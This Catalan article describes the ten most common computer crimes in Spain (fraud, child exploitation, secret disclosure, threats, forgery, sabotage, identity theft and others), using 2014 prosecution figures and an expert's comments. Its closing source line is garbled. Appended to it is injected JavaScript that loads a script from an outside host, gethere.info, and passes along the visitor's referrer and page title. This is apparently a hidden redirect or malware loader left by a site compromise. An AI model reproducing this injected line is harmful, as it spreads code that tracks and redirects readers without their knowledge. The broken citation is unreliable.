Els delictes informàtics estan creixent a un ritme vertiginós. Tal i com mostren les xifres presentades per la Fiscalia General de l’Estat, durant 2014 aquest tipus de pràctiques il·lícites van registrar un increment de 71%, fins a arribar a un total de 20.534 procediments judicials.

Els delictes informàtics estan creixent a un ritme vertiginós. Tal com mostren les xifres presentades per la Fiscalia General de l’Estat, durant 2014 aquest tipus de pràctiques il·lícites van registrar un increment de 71%, fins a arribar a un total de 20.534 procediments judicials. Una xifra molt superior a 2013, any en el qual es van presentar 11.990 processos. Són dades que aporta Carlos Aldama, perit informàtic i director de Aldama Informàtica Legal.

D’igual forma, el creixement en els últims anys també ha estat molt important, ja que en 2011, es van identificar 6.532 d’aquests actes, la qual cosa comparant-ho amb la xifra actual, suposa un alça de 210% en tan sol quatre anys.

Segons Carlos Aldama, aquest increment es deu principalment al fet que “cada vegada existeixen més usuaris connectats a les xarxes socials i a causa de l’abaratiment de les connexions, tenen un major accés a Internet”. “Això és el ganxo perfecte per estafadores, els qui, de manera cada vegada més sofisticada, usen tècniques de suplantació o accedeixen il·lícitament a equips que controlen remotament i tenen el control d’un gran nombre d’usuaris novells”, afegeix.

Però dins de les pràctiques il·lícites existeix una variada casuística. Aquestes són les més comunes:

1. Estafa. És el delicte més estès. En 2014, es van registrar un total de 17.328 d’aquests casos, la qual cosa suposa el 84% del total. En aquest sentit, les principals pràctiques solen ser el phising, la contractació fraudulenta de línies telefòniques, el carding o l’accés no consentit a les targetes de crèdit i les activitats relacionades amb el joc on-line. D’acord amb Aldama, aquest tipus de delictes són els més comuns a causa que “estafar resulta cada vegada més senzill”. “A causa de la interconnexió mundial, el estafador està en qualsevol part del món i la seva detecció no és senzilla, és per això important la denúncia davant els òrgans competents i la contractació d’un perit informàtic, perquè abans d’anul·lar/modificar la prova, es puguin recollir les evidències suficients no només per intentar detenir al estafador, sinó per a la pròpia defensa de l’estafat davant tercers”.

2. Delicte contra la intimitat de menors i assetjament. Encara que la proporció és menor que en el cas anterior, aquesta modalitat suposa un total de 641 casos, un 3% del total. cal destacar que d’aquests, 581 són delictes de pornografia infantil i/o de persones amb discapacitat, mentre que 60 es van registrar per assetjament a menors. Entre els principals mitjans registrats per a aquests actes es troben els fòrums privats, WhatsApp o Skype, així com emmagatzematge en el núvol.

3. Descobriment i revelació de secrets. Un dels delictes que més està creixent (un 60%) és aquest, que ja va suposar en 2014 858 casos, un 4,17% del total. En concret, 561 corresponen al descobriment i revelació de secrets, mentre que 297 estan relacionats amb l’accés il·legal als sistemes. Entre aquests es troben l’ús no autoritzat de correus aliens o l’accés irregular a perfils de xarxes socials per a finalitats com suplantar la identitat.

4. Amenaces i coaccions. La Fiscalia també va registrar un gran nombre d’amenaces i coaccions, un delicte que va ascendir a 527 casos, la qual cosa significa un 2,57% del total i un increment de 111% respecte a la xifra de 2013. Relacionat amb aquesta tipologia, també trobem les injúries i calúmnies al funcionari públic, amb un total de 381 denúncies.

5. Falsificació documental. Aquest delicte s’estableix també com un dels més comuns, en registrar en 2014 un total de 156 casos, gairebé un 0,8% del total. Principalment, es basa en pràctiques com la manipulació de contractes, e-mails o imatges, entre uns altres.

6. Danys i sabotatge informàtic. Aquest delicte va presentar un augment de 70% en l’últim any, fins a arribar a un total de 143 casos registrats. Encara així, s’estima que aquestes xifres poden ser molt majors segons altres signatures i institucions. La destrucció d’informació es realitza mitjançant esborrat de dades, destrucció d’equips, manipulació d’informació

7. Suplantació d’identitat. Es fa generalment a través de correus electrònics o xarxes socials mitjançant perfils falsos o robatoris de perfils reals. Es van registrar un total de 117 d’aquests delictes davant la Fiscalia.

8. Incompliment de contracte. En general, aquest delicte consisteix en la contractació de desenvolupament d’aplicacions o webs, i després es dóna un incompliment de les parts.

9. Delictes contra la propietat intel·lectual: Generalment es basen en divulgació d’informació mitjançant mitjans electrònics i plagis. La Fiscalia va registrar 58 casos en 2014, un 0,28% del total.

10. Descàrregues il·legals: Encara que no es compten amb xifres concretes, l’estudi “Observatori de Pirateria i Hàbits de Consum de Continguts Digitals 2014” de GFK, afirma que “el 87,9 % els continguts digitals consumits a Espanya en 2014 van ser pirates”, al mateix temps que xifra en uns 1.700 milions d’euros les pèrdues per aquest delicte. Això ho converteix en un dels més comuns, ja que gran part de la població realitza descàrregues il·legals de programes, música o pel·lícules.

 

 

Font: http://peritosjudicialesforenses.com/blog/los-10-delitos-informaticos-mFont:as-comunes-en-espana/s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;